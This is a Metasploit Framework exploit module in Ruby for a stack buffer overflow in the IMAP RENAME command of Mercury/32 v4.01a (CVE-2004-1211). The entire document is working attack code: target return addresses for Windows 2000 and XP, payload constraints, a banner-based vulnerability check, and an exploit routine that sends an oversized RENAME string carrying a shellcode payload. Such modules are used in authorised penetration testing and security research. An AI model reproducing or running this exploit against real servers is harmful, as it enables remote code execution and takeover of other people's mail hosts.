Mercury/32 v4.01a IMAP RENAME Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Imap  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow vulnerability in the  
Mercury/32 v.4.01a IMAP service.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1211'],  
[ 'OSVDB', '12508'],  
[ 'BID', '11775'],  
[ 'NSS', '15867'],  
  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }],  
['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],  
['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],  
],  
'DisclosureDate' => 'Nov 29 2004'))  
end  
  
def check  
connect  
resp = sock.get_once  
disconnect  
  
if (resp =~ /Mercury\/32 v4\.01a/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
  
sploit = "a001 RENAME " + rand_text_alpha_upper(260)  
sploit << [target.ret].pack('V') + payload.encoded   
  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
`